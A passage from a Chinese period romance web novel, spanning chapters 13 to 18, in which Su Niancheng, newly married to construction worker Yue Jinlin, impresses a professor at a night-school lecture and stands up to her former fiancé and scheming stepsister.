后座坐着个姑娘,搂着他的腰,脸埋在他背上,看不清脸。 摩托车很快就拐出胡同,只留下一阵烟。 苏荷雨眼睛都亮了,“好气派的车!钧礼,你看那车,是不是上海牌的?” 何钧礼点点头,“嗯,幸福250,上海产的。” “真好看。”苏荷雨挽着他的胳膊,“等咱们结婚的时候,也买一辆吧?” 何钧礼笑了笑,“那玩意儿贵着呢,得攒攒。” “攒就攒嘛。”苏荷雨靠在他肩上,“反正咱们还年轻。” 何钧礼拍拍她的手,“走吧,上班要迟到了。” 两人往另一个方向走去。 苏荷雨回头看了一眼摩托车消失的方向,心里有点羡慕。 那车可真气派,骑车那男人看着也挺有派头的,虽然穿着工装,但那气势不像一般人。 不过再想想,再气派又怎么样,还不是干工地的? 哪像她家钧礼,坐在办公室里画图纸,干干净净的,体体面面的。 她挽紧何钧礼的胳膊,笑得甜滋滋的。 …… 摩托车在工地门口停下。 苏念橙从后座下来,腿有点软,脸还是红的。 越靳临停好车,回头看她,“晕车?” 苏念橙摇摇头,“没、没有。” 就是心跳太快了。 越靳临看着她红透的耳尖,嘴角微微弯了弯,“进去吧,文静应该到了。” 苏念橙点点头,低着头往办公室走。 走了两步,又回头。 越靳临还站在原地,看着她。 她赶紧扭过头,脚步加快。 进了办公室,周文静已经在收拾东西了。看见她进来,眼睛一亮,“哟,嫂子来啦!今天气色不错啊,脸上红扑扑的。” 苏念橙摸了摸脸,更烫了。 “可能是……太阳晒的。”她含糊地说。 周文静笑眯眯地看着她,没再追问。 “来,今天有批新单据,咱俩一起弄。” 苏念橙点点头说好,然后两人一起忙活到中午。 周文静干活麻利,边干边跟她聊天,说些工地上的趣事,谁谁谁领了材料没签字,谁谁谁又跟工头吵了一架。 苏念橙听着,时不时笑一下,手里的活也没停。 正干着,门被人推开了。 “文静,吃饭了。” 一个年轻男人拎着个网兜进来,里头装着两个铝饭盒。 他穿着件洗得发白的蓝布褂子,圆脸,笑起来眼睛眯成一条缝。 周文静眼睛一亮,“哟,来啦!”她站起来,拉过那男人,“念橙,这是我男人,蒋毅明。” 蒋毅明看向苏念橙,笑着点点头,“这就是嫂子吧?文静回家老提你,说你可聪明了,学东西快。” 苏念橙赶紧站起来,“蒋同志好。” “别别别,叫毅明就行。”蒋毅明摆摆手,把饭盒放到桌上,“越哥呢?没跟你一块儿?” “他在工地那边。”苏念橙说。 蒋毅明笑了,“越哥这人就这样,干活不要命。嫂子你坐,别站着。” 他打开饭盒,里头是热腾腾的白米饭,还有红烧肉和炒青菜,“文静,你跟嫂子一块儿吃。我多带了。” 周文静接过筷子,递给苏念橙,“来,尝尝他的手艺。虽说比不上国营饭店,但也不差。” 苏念橙有些不好意思,“这怎么好意思……” “有啥不好意思的?”蒋毅明在一旁坐下,“嫂子你吃你的,别跟我们客气。” 苏念橙接过筷子,夹了块红烧肉。 肉炖得挺烂,味道也不错。 “好吃。”她说。 蒋毅明乐了,“嫂子会说话!比越哥强,越哥吃我做的饭,从来就一个字,嗯。” 第十三章 有过别的女人? 闻言,周文静笑着捶了他一下,“就你话多。” 蒋毅明躲了一下,又凑过来,“嫂子,你跟越哥咋认识的?我跟他从小一个大院长大的,他那个人,闷葫芦一个,我还以为他得打一辈子光棍呢。” 苏念橙筷子顿了顿,不知道该怎么回答。 周文静瞪了蒋毅明一眼,“你查户口呢?吃你的饭。” “我这不是关心越哥嘛。”蒋毅明嘿嘿笑着,又看向苏念橙,“嫂子你别介意啊,我这人就是话多。不过说真的,越哥这人特别好,你跟着他,亏不了。” 苏念橙点点头,低头继续吃饭。 蒋毅明又开口了,“越哥这眼光真不错,嫂子长得真俊。比上次那个……” “毅明!”周文静突然打断他,声音有点急。 蒋毅明愣了一下,像是意识到说错话了,讪讪地闭上嘴。 苏念橙心里咯噔一下。 上次那个? 什么上次那个? 她筷子停在半空,脑子里闪过好几个念头。 越靳临之前有过别的女人? 不对,不是说一直单着吗? 她想起刚来那天,周文静说过越靳临一直单着,可蒋毅明这话…… “嫂子,吃菜吃菜。”周文静给她夹了块肉,“别理他,他嘴上没把门的。” 苏念橙回过神,笑了笑,“谢谢文静姐。” 她低头继续吃饭,可心里那点疑惑怎么也压不下去。 上次那个是什么意思? 相亲对象?还是处过的对象? 她偷偷看了一眼蒋毅明,他正低头吃饭,像是知道自己说错话了,老实得很。 苏念橙咬咬嘴唇,想问,又不知道该怎么问。 她跟越靳临本来就是误会,是协议结婚,人家以前有没有过女人,跟她有什么关系? 可这么想着,心里还是有点堵。 她抬眼看向窗外。 工地上一片忙碌,灰扑扑的。 远处,越靳临正站在一堆钢筋旁边,跟几个工人说着什么。 他穿着那件绿布工装,袖子卷到手肘,露出结实的小臂。 阳光照在他身上,汗水把衣服浸得深一块浅一块。 他好像感觉到什么,忽然抬起头,往这边看了一眼。 隔着灰扑扑的工地,隔着脏兮兮的玻璃窗,苏念橙觉得他好像在看自己。 她赶紧低下头,耳朵有点烫。 “嫂子?”蒋毅明叫她。 苏念橙抬起头,“啊?” “我说,”蒋毅明笑着,“得空让越哥带你上我饭馆吃饭,我那儿红烧排骨做得比红烧肉还好吃。” 苏念橙点点头,“好,谢谢毅明哥。” 蒋毅明又坐了一会儿,收拾饭盒走了。 下午的活跟上午差不多,苏念橙跟着周文静整理单据,登记造册。 她干得认真,可脑子里总忍不住想起蒋毅明那句话。 比上次那个好。 上次那个是谁? 长什么样? 跟越靳临处了多久? 怎么分手的? 她使劲摇摇头,把那些乱七八糟的念头甩出去。 想这些干嘛,人家的事,跟她有什么关系。 可越这么想,心里越有点说不清的滋味。 傍晚,夕阳把工地染成橙红色。 苏念橙收拾好桌上的东西,一抬头,越靳临已经站在门口了。 他还是那身沾了灰的工装,额角有汗,但眼睛看过来的时候,亮亮的。 “下班了。”他说。 苏念橙站起来,跟周文静道别,“文静姐,明天见。” “明天见。”周文静笑着摆摆手。 两人走出办公室,越靳临很自然地伸出手。 苏念橙愣了一下,把手递过去。 他的手还是那么暖,那么糙,握着她的手,像握着什么易碎的东西。 “今天累不累?”他问。 苏念橙摇摇头,“不累。” “那就好。” 两人走到摩托车旁,越靳临跨上车,苏念橙坐到他身后。 这次她没等他开口,就轻轻搂住他的腰。 摩托车发动,轰的一声窜出去。 风呼呼地吹,苏念橙把脸埋在他背上,闻着他身上那股肥皂味混着汗的味道。 她犹豫了一下,还是把心里的疑惑压下去。 算了,不问。 本来就不是真夫妻,问那么多干嘛。 可越这么想,心里越有点闷。 摩托车拐进槐花胡同,在一号楼门口停下。 越靳临停好车,回头看她,“对了,明天你就上半天班吧。” 苏念橙愣了一下,“啊?” “下午不用来。”他说,“回家复习,备考。” 苏念橙眨眨眼,“可是……” “工钱照发。”他打断她,“就按整天的算。” 苏念橙心里一暖,那点闷闷的感觉散了些,“那怎么行,我就干半天活,怎么能拿全天的钱。” 越靳临看着她,“我说行就行。” 苏念橙张了张嘴,不知道该说什么。 他总是这样,什么都不问,什么都不说,就替她想好了。 “好。”她点点头,“谢谢你。” 越靳临嘴角微微弯了弯,没说话,转身往楼里走。 苏念橙跟在他身后,看着他宽厚的背影,忽然开口。 “越靳临。” 他回过头,“嗯?” 苏念橙咬了咬嘴唇,“你……你以前处过对象吗?” 话一出口,她就后悔了。 问这个干嘛?人家的事跟她有什么关系? 她脸腾地红了,低下头不敢看他,“我、我就是随便问问……” 越靳临看着她红透的耳尖,沉默了几秒。 “没有。”他说。 苏念橙抬起头,“啊?” “没处过对象。”他转身继续往前走,“就你一个。” 苏念橙愣在原地,看着他的背影消失在楼道里。 就你一个。 她心跳忽然快了几拍,脸更烫了。 蒋毅明那句话还在脑子里转,可这会儿好像没那么堵了。 她小跑着追上去,跟在他身边。 “那个……”她犹豫了一下,“毅明哥今天说的上次那个,是什么意思?” 越靳临脚步顿了顿,侧头看她。 “他说的,”他顿了一下,“是之前有人给我介绍对象,我没见。” 苏念橙眨眨眼,“没见?” “嗯,没见。”他推开门。 苏念橙站在门口,心里暖暖的,软软的,像泡在温水里。 “进来啊。”越靳临在屋里喊,“愣着干嘛?” 苏念橙回过神,赶紧跟进去。 第十四章 夜校 翌日上午,苏念橙照常去工地办公室。 活儿还是那些,整理单据,登记造册,她干得越来越顺手。 周文静在旁边看着,直夸她学得快。 “你这脑子,不考大学可惜了。”周文静说。 苏念橙笑了笑,“正打算考呢。” “真的?”周文静眼睛一亮,“那可太好了!你好好考,考上以后就是大学生了,比我们这些没文化的强多了。” “文静姐别这么说,你也不差。” “我?”周文静摆摆手,“我初中毕业就进厂了,后来结婚才来这儿。这辈子就这样了,你可不一样,你得往上走。” 苏念橙心里暖了一下,低头继续干活。 中午吃完饭,越靳临来找她。 “下午回去?”他问。 苏念橙点点头,“嗯,回去复习。” “我送你。” “不用不用,”苏念橙赶紧摆手,“就几步路,我自己走就行。你忙你的。” 越靳临看了她一眼,没再坚持,“那行,注意安全。” 苏念橙收拾好东西,跟周文静道别,往家走。 槐花胡同不远,走一刻钟就到。 回到家,她翻开从供销社买的参考书,开始复习。 数学,语文,政治…… 底子薄,得从头补起。 她看得认真,一边看一边做笔记,不知不觉就到了傍晚。 夕阳透过窗子照进来,把桌上铺了一层金黄。 苏念橙揉了揉眼睛,站起来活动活动筋骨。 正要去做饭,忽然听见外面有人说话。 “听说了吗?夜校那边今天有个公开课,师院来的教授,讲文学的。” “真的假的?在哪儿?” “就前面那中学,晚上七点,谁都能去听。” 苏念橙心里一动。 师院来的教授?文学公开课? 她看了看桌上的书,又看了看窗外。 犹豫了一下,她转身去了厨房。 做好饭,她用碗扣好,又找了张纸,写上几个字。 我去夜校听课,晚点回来。 饭在桌上,你热热吃。 然后把纸条压在饭桌上,出门了。 中学离槐花胡同不远,走二十来分钟就到。 苏念橙到的时候,教室里已经坐了不少人。 有年轻的,也有看着三十多的,都规规矩矩坐着,等着上课。 她找了个靠后的位置坐下,掏出本子和笔。 刚坐下,门口进来两个人。 女的穿着碎花连衣裙,头发扎成马尾,正是苏荷雨。 男的穿着白衬衫,别着钢笔,是何钧礼。 两人手挽着手,说说笑笑地往里走。 苏念橙心里咯噔一下,低下头,假装没看见。 可偏偏苏荷雨眼睛尖,一眼就看见她了。 “姐?”苏荷雨声音不大不小,刚好让附近几个人听见,“你怎么在这儿?” 苏念橙抬起头,脸上没什么表情,“听课。” 苏荷雨眨眨眼,笑得甜滋滋的,“姐你初中都没毕业,能听懂吗?” 旁边几个人侧目看过来。 苏念橙攥紧手里的笔,深吸一口气,“能不能听懂,不劳你操心。” 何钧礼皱了皱眉,看着她,“苏念橙,你到底想干什么?” 苏念橙抬起头,“我来听课,有什么问题吗?” 何钧礼冷笑一声,“听课?你来省城才几天,就找到夜校了?不会是跟踪我们来的吧?” 苏念橙简直要被他气笑了。 这人是不是有病?她来听个课,就是跟踪他们? “何钧礼,”她一字一顿,“你想多了。我来听课,跟你们没关系。” “行了钧礼,”苏荷雨拉拉他的袖子,“别说了,这么多人看着呢。姐来听课也是好事,咱们快坐吧。” 两人在前排找了个位置坐下。 苏念橙看着他们的背影,深吸一口气,把心里的恶心压下去。 上课铃响了。 一个戴眼镜的中年男人走上讲台,头发花白,看起来很有学问。 “同学们好,我是师院中文系的教授,姓周。今天讲的是中国现代文学……” 苏念橙翻开本子,认真听讲。 陈教授讲得生动,从鲁迅讲到茅盾,从《呐喊》讲到《子夜》,深入浅出,引人入胜。 苏念橙听得入迷,手里的笔飞快地记着。 讲到一半,周教授忽然停下来,“好,刚才我们讲了鲁迅先生的文学观,现在我提个问题,同学们可以自由回答。” 他扫了一眼教室,“鲁迅先生在《呐喊》自序里说,凡有一人的主张,得了赞和,是促其前进的,得了反对,是促其奋斗的。” “这句话怎么理解?哪位同学说说?” 教室里安静下来,没人举手。 苏荷雨左右看了看,忽然回过头,看向苏念橙。 “姐,你不是挺有想法的吗?要不你来说说?” 她声音不大不小,刚好让周教授听见。 周教授顺着她的目光看过去,“那位同学?最后一排那位女同学?” 苏念橙愣了一下,站起来。 苏荷雨转过头去,嘴角带着笑,等着看好戏。 一个初中没毕业的乡下丫头,能懂什么鲁迅? 何钧礼也回过头,眼里带着嘲讽。 苏念橙站起来,看着陈教授,沉默了两秒。 “周教授,我试着说说。” 她顿了顿,声音不大,但清晰。 “我觉得鲁迅先生这句话,说的是一个人有了自己的主张,不管别人是赞同还是反对,都能成为前进的动力,赞同的,让你更有信心往前走,反对的,让你更坚定自己的想法,为之奋斗。” 她想了想,又补充了一句,“就像他自己,写《狂人日记》的时候,有人叫好,有人骂他,可不管别人怎么说,他都坚持写下去。” “因为他知道,自己写的是对的。” 教室里安静了一瞬。 周教授眼睛亮了,“好!说得好!” 他带头鼓起掌来,教室里响起一片掌声。 苏荷雨脸上的笑僵住了。 何钧礼愣愣地看着苏念橙,像第一次认识她似的。 周教授走下讲台,来到苏念橙面前,“这位同学,你叫什么名字?” “苏念橙。” “苏念橙同学,你刚才说得很好。你读过鲁迅?” 苏念橙点点头,“读过一些。” “在哪儿读的?” “以前在乡下,找别人借的书。” 周教授看着她,眼里带着赞赏,“难得,难得。你很有天赋,对文字的理解很敏锐。有没有想过考大学?” 第十五章 他比你强一百倍 苏念橙心跳漏了一拍,“我想考,但底子薄,还在复习。” “好!好!”周教授连说了两个好,“你好好复习,明年高考,报考我们中文系。我期待你来当我的学生。” 苏念橙眼睛亮了,“真的吗?” “当然。”周教授笑着,“你这样的学生,我带定了。” 旁边的人议论纷纷,都在看苏念橙。 苏荷雨脸都白了,咬着嘴唇,指甲掐进掌心。 何钧礼还愣在那儿,眼睛盯着苏念橙,不知道在想什么。 下课铃响了。 陈教授收拾好讲义,对苏念橙说,“苏同学,你留一下,我有话跟你说。” 苏念橙点点头,等在座位上。 前排的人陆续往外走。 苏荷雨拉着何钧礼站起来,路过苏念橙身边时,狠狠瞪了她一眼。 苏念橙没理她,低头收拾本子。 何钧礼走到门口,忽然停住脚步。 他回过头,看着苏念橙,“苏念橙,你……” 苏念橙抬起头,“有事?” 何钧礼张了张嘴,不知道该说什么。 苏荷雨拉着他的袖子,“钧礼,走啦。” 何钧礼被拉走了,出门前还回头看了一眼。 教室里人走光了,只剩下苏念橙和陈教授。 陈教授在她旁边坐下,“苏同学,你刚才说得很好,真的很好。我教书这么多年,像你这样有天赋的学生不多见。” 苏念橙不好意思地低下头,“陈教授过奖了,我就是随便说说。” “随便说说就能说到点子上,更说明你有天赋。”陈教授看着她,“你刚才说想考大学,复习得怎么样了?” 苏念橙咬了咬嘴唇,“我初中没毕业,底子薄,正在从头补。” “底子薄不怕,肯下功夫就行。”陈教授从包里掏出一张纸,写了几个书名,“这几本书,你去找来读读。读完了,有什么不懂的,可以来师院找我。” 苏念橙接过纸,看着上面的字,眼眶有点热。 “谢谢陈教授。” “不用谢。”陈教授站起来,“好好复习,明年高考,我等你。” 苏念橙用力点头,“我一定努力!” 陈教授走了。 苏念橙坐在空荡荡的教室里,看着手里的纸,心里热热的。 原来是有人会欣赏她的。 片刻后,苏念橙收拾了下就出了学校,迎面却看见了何钧礼,苏荷雨不知所踪。 她想都没想,转身就要绕道离开。 “苏念橙!”何钧礼快步追上来,拦在她面前,“你等等。” 苏念橙停下脚步,抬起头看着他,“有事?” 何钧礼看着她,眼神复杂,“你什么时候开始看鲁迅的?” 苏念橙觉得好笑,“跟你有关系吗?” “你……”何钧礼顿了顿,“在乡下的时候,你每天干活那么累,还有时间看书?” 苏念橙想起那些年,白天赚工分,晚上点着煤油灯偷偷看书的日子。 她眼睛酸得流泪,也不敢让继母看见,怕挨骂。 “有没有时间,是我的事。”她绕过他往前走。 何钧礼又追上来,“苏念橙,你听我说。” 他拦在她面前,换了副语重心长的口气,“我知道你今天在课堂上表现好,周教授也夸你。但你初中没毕业,底子太薄,想考大学不是那么容易的事。” “这样,我晚上有空,可以抽时间教你。不管怎么说,咱们也算认识一场,我不忍心看你走弯路。” 苏念橙愣住了。 她抬头看着何钧礼,那张脸还是那么清隽,说话的语气还是那么温和。 可这话听着,怎么这么恶心? 她忽然想起那些年,她起早贪黑赚工分供他读书,他拿着她给的钱买书买笔,从来没问过她想不想读,需不需要。 现在他倒好,说要教她? “何钧礼。”她开口,声音很平静,“你是觉得,我努力学习,是为了追你?” 何钧礼愣了一下,没说话,但那表情分明是默认了。 苏念橙忍不住笑出声来,笑得眼泪都快出来了。 “何钧礼,你哪来的自信?我苏念橙就是考不上大学,一辈子在乡下种地,也不会再跟你这样的人沾上半点关系。” 何钧礼脸色变了,“苏念橙,你别不识好歹。我是真心想帮你——” “帮我?”苏念橙打断他,“你帮我什么?帮我在你结婚的时候当保姆?还是帮我在你和苏荷雨卿卿我我的时候递纸巾?” 何钧礼张了张嘴,说不出话来。 苏念橙不想再跟他废话,转身就走。 可何钧礼又追上来,一把拉住她的胳膊,“苏念橙,你听我把话说完——” “松手。” 一个低沉的声音从旁边传来。 两人同时愣住。 苏念橙回头,看见越靳临站在几步外。 路灯的光从身后照过来,把他的影子照的长长的。 他脸上没什么表情,但那双眼眸黑沉沉的,盯着何钧礼抓着苏念橙胳膊的手。 何钧礼愣了一下,下意识松开手。 “你谁啊?”他皱着眉打量着越靳临。 越靳临没理他,走到苏念橙身边,很自然地牵起她的手。 她的手冰凉,还有点抖。 他握紧了些。 “走吧,回家。”他说。 苏念橙点点头,跟着他往前走。 “站住!”何钧礼追上来,拦在两人面前,“我问你话呢,你是谁?” 越靳临停下脚步,看着他。 何钧礼被那眼神看得有点发毛,但还是硬着头皮说,“我跟苏念橙说话,你插什么嘴?” “她是我媳妇儿。”越靳临淡淡开口,“你说我插什么嘴?” 何钧礼愣住了。 他看看越靳临,又看看苏念橙,脸上的表情像被人打了一拳。 “你……你媳妇儿?”他声音都变了调,“苏念橙,你说结婚,就是跟他?” 苏念橙点点头,“对,就是他。” 何钧礼盯着越靳临,从头看到脚。 工装,沾了灰的靴子,粗糙的手,古铜色的皮肤。 干工地的。 他忽然笑出声来,那笑声里满是嘲讽。 “苏念橙,你就找这么个干工地的?你是不是疯了?” 苏念橙攥紧越靳临的手,深吸一口气,“干工地的怎么了?他比你强一百倍。” 第十六章 我陪你 “比我强?”何钧礼上下打量着越靳临,“一个干苦力的,一个月能挣几个钱?连个像样的房子都买不起吧?苏念橙,你就这么自甘堕落?” 苏念橙气得浑身发抖,正要开口,却感觉手被握紧了。 越靳临上前一步,把她挡在身后。 他看着何钧礼,语气平平的,“你是设计院的?” 何钧礼一愣,“你怎么知道?” “红旗机械厂的设计图纸,”越靳临说,“我见过。” 何钧礼脸上闪过一丝得意,“那是我们院画的。怎么,你工地用的就是我们设计的图纸吧?” 越靳临点点头,“用了。不过有几处尺寸不对,钢筋少算了三根。你们院复核的时候没发现?” 何钧礼脸色变了,“你胡说什么?我们的图纸怎么可能出错——” “三层,B区,承重墙的位置。”越靳临打断他,“自己回去看看。” 何钧礼张了张嘴,说不出话来。 越靳临没再理他,牵着苏念橙往前走。 “苏念橙!”何钧礼在身后喊,“你就跟这么个人过一辈子?他一个干工地的,能给你什么?” 苏念橙停下脚步,回过头。 她看着何钧礼那张脸,忽然笑了。 “何钧礼,你知道这三年,我是怎么过的吗?” 何钧礼愣住了。 “我每天天不亮就起来干活,赚工分供你读书。我舍不得吃舍不得穿,给你买的全是精米精面。你回城那天,握着我的手说一定会回来接我。我等啊等,等来的却是你要娶苏荷雨的消息。” 她自嘲冷笑,声音有些哑,“这三年,我掏心掏肺对你,你把我当什么?保姆?取款机?” 何钧礼张了张嘴,想说什么,却说不出来。 “可他不一样。”苏念橙看向身边的越靳临,“他认识我才几天,给我地方住,给我找工作,给我做饭,牵我的手,怕我冷着饿着。他什么都不问,什么都不说,就对我好。” “他干工地的怎么了?他挣的钱干干净净,他对我真心实意。比你这个披着人皮的畜生,强一万倍。” 说完,她转身就走。 越靳临跟在她身边,握着她的手,没说话。 何钧礼站在原地,看着两人的背影消失在夜色里,脸色青一阵白一阵。 走出老远,苏念橙才停下脚步。 她松开越靳临的手,蹲在地上,把脸埋进膝盖里。 肩膀一耸一耸的,没发出声音。 越靳临站在她旁边,没说话,也没动。 过了好一会儿,她抬起头,眼眶红红的,但没哭。 “对不起。”她声音哑哑的,“让你看笑话了。” 越靳临蹲下来,看着她。 “没什么对不起的。”他说,“他欺负你,我帮你骂回去,应该的。” 苏念橙愣了一下,心里涌起一股暖意。 “你怎么来了?”她问,“不是在家吗?” “饭凉了。”越靳临说,“你没回来,我就出来找找。” 苏念橙想起桌上的饭和纸条,心里更暖了。 “我……我就是想来听听课,没想到碰见他们。” 越靳临点点头,“下次想听课,跟我说。我陪你来。” 苏念橙看着他,眼眶又有点酸。 “越靳临。”她开口。 “嗯?” “你……你真的不觉得我麻烦吗?” 越靳临看着她,沉默了几秒。 “不觉得。”他说,“走吧,回家。饭热好了。” 他伸出手。 苏念橙看着那只粗糙的大手,把手放上去。 他握住,把她拉起来。 两人并肩往家走。 回到家,两人把饭热了,坐在桌边吃。 苏念橙低着头,筷子扒拉着碗里的饭,没什么胃口。 越靳临看了她一眼,夹了块红烧肉放她碗里,“多吃点。” 苏念橙愣了一下,抬头看他。 他脸上没什么表情,低头吃着自己的饭,好像刚才那件事根本没发生过。 她心里一暖,把那块肉吃了。 吃完饭,她抢着收拾碗筷。 越靳临也没拦,靠在厨房门口看着她忙活。 “明天我休假。”他忽然开口。 苏念橙手顿了顿,“啊?” “明天不上班。”他说,“你有没有想去的地方?出去转转。” 苏念橙想了想,摇摇头,“我都行,听你的。” 越靳临沉默了两秒,“有个新出的电影,听说不错。我们一起去看?” 苏念橙眼睛亮了亮,“看电影?” “嗯。” 她想起那天在国营饭店看见的电影院,心里有点期待,又有点犹豫,“电影票贵不贵啊?” “不贵。”越靳临说,“两毛钱一张。” 两毛钱,确实不贵。 苏念橙点点头,“那好。” 越靳临嘴角微微弯了弯,“那就说定了。明天中午吃完饭去。” “好。” 第二天中午,两人吃完饭,收拾收拾出门。 苏念橙换了件干净的白衬衫,头发重新梳了一遍,扎成马尾。 越靳临也换了件新的蓝布工装,头发梳得整整齐齐,看着比平时精神多了。 苏念橙偷偷瞄了他一眼,心跳快了几拍。 他本来就生得好,这么一收拾,更好看了。 两人走到楼下,越靳临跨上摩托车,苏念橙坐到他身后,轻轻搂住他的腰。 摩托车发动,往电影院开去。 电影院在中山路,离槐花胡同不远,骑车一刻钟就到。 两人到的时候,门口已经排起了队。 越靳临停好车,牵着苏念橙往售票口走。 “你在这儿等着,我去买票。”他说。 苏念橙点点头,站在队伍旁边等着。 越靳临刚走开没一会儿,她忽然听见身后传来一个熟悉的声音。 “哟,姐,真巧啊。” 苏念橙回过头,苏荷雨穿着件新做的碎花裙子,头发烫了卷,挽着何钧礼的胳膊,正笑盈盈地看着她。 何钧礼站在旁边,穿着笔挺的白衬衫,头发梳得一丝不苟,看见苏念橙,他脸上的表情有点复杂。 苏念橙心里一阵恶心,移开目光,没理她。 苏荷雨也不恼,挽着何钧礼走过来,站在她旁边。 “姐,你也来看电影啊?”她笑得甜甜的,“跟谁来的?那个干工地的?” 苏念橙攥紧拳头,深吸一口气,“跟你有关系吗?” 第十七章 看电影 “我就是随便问问嘛。”苏荷雨叹了口气,一副替她着想的样子,“姐,你说你找个干工地的,以后日子怎么过啊?一个月挣不了几个钱,连个像样的房子都买不起。以后有了孩子,可怎么办?” 苏念橙看着她那张假惺惺的脸,忽然笑了。 “苏荷雨,你这么关心我,怎么不关心关心你自己?” 苏荷雨愣了一下,“我怎么了?” “你跟我那三年的事,何钧礼知道吗?”苏念橙慢悠悠地说,“他知道你是怎么在我们见面的时候,一次次把我叫走的吗?” 苏荷雨脸色变了,“你胡说什么?我跟钧礼……” “你跟钧礼怎么了?”苏念橙打断她,“你不是一直说自己单纯善良吗?怎么,背地里干的事,不敢让人知道?” 何钧礼皱了皱眉,看向苏荷雨,“荷雨,她说的是真的?” 苏荷雨眼眶一下子就红了,“钧礼,你别听她胡说!她嫉妒我,故意挑拨离间!” 她转过头,委屈巴巴地看着苏念橙,“姐,我知道你不喜欢我,可你也不能这么污蔑我啊。我跟钧礼是真心相爱,你怎么能……” 苏念橙看着她这副样子,差点笑出声来。 演,接着演。 “苏荷雨,”她开口,“你累不累?” 苏荷雨愣了一下。 “天天这么演,不累吗?”苏念橙看着她,“在何钧礼面前装单纯,在我面前装无辜,你不累,我看着都累。” 苏荷雨脸涨得通红,“你——” “我怎么了?”苏念橙往前走了一步,“我说错了吗?你敢不敢当着何钧礼的面,说说你当初是怎么发现我和他的事的?敢不敢说说,你是怎么一次次破坏我们见面的?” 苏荷雨张了张嘴,说不出话来。 何钧礼看着她,眼神变了。 就在这时,一个低沉的声音从旁边传来。 “念橙。” 苏念橙回过头,越靳临站在几步外,手里捧着个纸包,热气腾腾的。 他走过来,很自然地牵起她的手,“等久了吧?” 苏念橙摇摇头,“没有。” 苏荷雨看着越靳临,愣住了。 这个男人…… 他穿着干净的蓝布工装,肩膀宽阔,腰身紧实,脸庞棱角分明,眉眼深邃,鼻梁挺直。 比何钧礼俊俏多了。 她心里忽然涌起一股说不清的滋味。 凭什么? 苏念橙一个乡下丫头,凭什么嫁这么好看的男人? 她咬了咬嘴唇,脸上挤出一个甜笑,“姐,这就是姐夫吧?长得可真俊。” 越靳临看了她一眼,没说话,只是看向苏念橙。 苏念橙淡淡地说,“我继妹,苏荷雨。” 越靳临点点头,“你好。” 就两个字,疏离又冷淡。 苏荷雨脸上的笑僵了一下,但很快又恢复过来,“姐夫真有福气,娶了我姐。我姐虽然初中没毕业,但人可好了,干活利索,又肯吃苦。” 她顿了下,叹了口气,“就是命苦了点,从小没妈,在家里也……” “荷雨。”何钧礼忽然开口,打断她。 苏荷雨愣了一下,看向他。 何钧礼没看她,只是盯着越靳临,眼神复杂。 这时,电影院的广播响了。 “各位同志,电影马上开始,请凭票入场。” 越靳临对苏念橙说,“走吧,进场了。” 苏念橙点点头,跟着他往检票口走。 苏荷雨还想说什么,被何钧礼拉住了。 “走。”他说。 苏荷雨不甘心地跟着他往里走,眼睛却一直盯着前面那两个人的背影。 电影院不大,座椅是木头的,一排排挤得挺紧。 越靳临找到座位,让苏念橙坐里边,自己坐在外边。 他把手里的纸包打开,里头是刚买的瓜子和花生,还有两瓶北冰洋汽水。 苏念橙看着那些东西,心里暖暖的,“你刚才出去就是买这个?” “嗯。”越靳临把汽水递给她,“看电影的时候吃。” 苏念橙接过汽水,喝了一口,甜甜的,凉凉的。 她从来没喝过这么好喝的东西。 “好喝吗?”越靳临问。 苏念橙点点头,“好喝。” 越靳临嘴角弯了弯,没说话。 电影开始了。 是个讲爱情的故事,男女主角分分合合,最后终于在一起。 苏念橙看得入迷,眼睛盯着屏幕,连手里的瓜子都忘了嗑。 看到动情处,眼眶都红了。 忽然,一颗剥好的瓜子仁递到她嘴边。 她愣了一下,转头看越靳临。 他眼睛盯着屏幕,脸上没什么表情,手却伸着,指尖捏着那颗瓜子仁。 苏念橙脸一下子红了,张嘴把那颗瓜子仁吃了。 越靳临又剥了一颗,又递过来。 她就这么吃着,一颗接一颗,心里的那点堵慢慢散了。 电影放完了,灯亮起来。 苏念橙揉了揉眼睛,站起来,“真好看。” 越靳临嗯了一声,“喜欢的话,改天再来看。” 苏念橙点点头,跟着他往外走。 散场的人多,两人随着人流往外走。 刚出电影院门口,又碰见何钧礼和苏荷雨。 苏荷雨看见他们,眼睛一亮,挽着何钧礼走过来。 “姐,你们也看完啦?”她笑得甜滋滋的,“电影好看吗?” 苏念橙没理她,牵着越靳临的手往前走。 苏荷雨跟上来,目光落在越靳临身上,“姐夫,你们怎么回去啊?这边公交车不好等,要不我们送你们一程?” 她指了指旁边,“我们骑了凤凰牌的自行车,新车,可好骑了。” 苏念橙顺着她指的方向看去,果然停着一辆崭新的凤凰自行车,锃光瓦亮的。 苏荷雨笑得得意,“钧礼单位发的票,攒了好久才买上的。姐,要不你坐后座,让姐夫走回去?反正也不远。” 苏念橙看着她那张假惺惺的脸,正要开口,忽然听见越靳临说。 “不用了。” 他牵着苏念橙,走向旁边的摩托车。 跨上车,发动,轰的一声响。 然后看向苏荷雨,淡淡开口。 “我们也开车来了。念橙,上车。” 苏念橙忍着笑,坐到他身后,轻轻搂住他的腰。 “嗯。”她转头看向苏荷雨,“我们先走了,你们慢慢回。” “不过我们估计比你们先吃上晚饭。” 第十八章 告状 苏荷雨的脸青一阵白一阵,盯着那辆摩托车,忽然想起那天早上在院门口看见的场面。 骑车那个男人,后座那个姑娘。 原来是她。 她咬着嘴唇,心里像堵了团棉花,憋得慌。 何钧礼拉着她往前走,“别看了,走吧。” 苏荷雨被他拽着走,不甘心地回头看了一眼。 摩托车早就没影了,只留下一股烟。 “钧礼,”她小声说,“那车真是他的?一个干工地的,买得起幸福250?” 何钧礼冷笑一声,“谁知道是不是借了谁的,出来装面子。” 苏荷雨眼睛一亮,心里的那点憋屈散了些。 “也是。”她挽紧何钧礼的胳膊,“一个干苦力的,能有几个钱?肯定是为了哄我姐高兴,借的车。” 这么一想,她心里舒服多了。 可回到家,越想越不对劲。 明明她让苏国强给苏念橙相亲的对象,是一个四十岁的老男人。 可那个男人看着也就二十七八,长得比何钧礼还俊,怎么可能是个离婚带俩娃的包工头? 苏荷雨坐不住了,起身去胡同口的电话亭。 电话接通,那头传来苏国强的声音。 “喂?谁啊?” “爸,是我。”苏荷雨声音娇娇的。 “荷雨啊!”苏国强的声音立马热络起来,“咋啦?在省城还好不?钧礼对你好不好?” 苏荷雨叹了口气,“爸,我挺好的。就是我姐……” “你姐咋了?”苏国强声音变了,“她去找你麻烦了?” “没有没有。”苏荷雨赶紧说,“我就是看见她了,她好像……嫁人了。” “嫁人?”苏国强愣了一下,“她不是跟岳老板相亲去了吗?成了?” 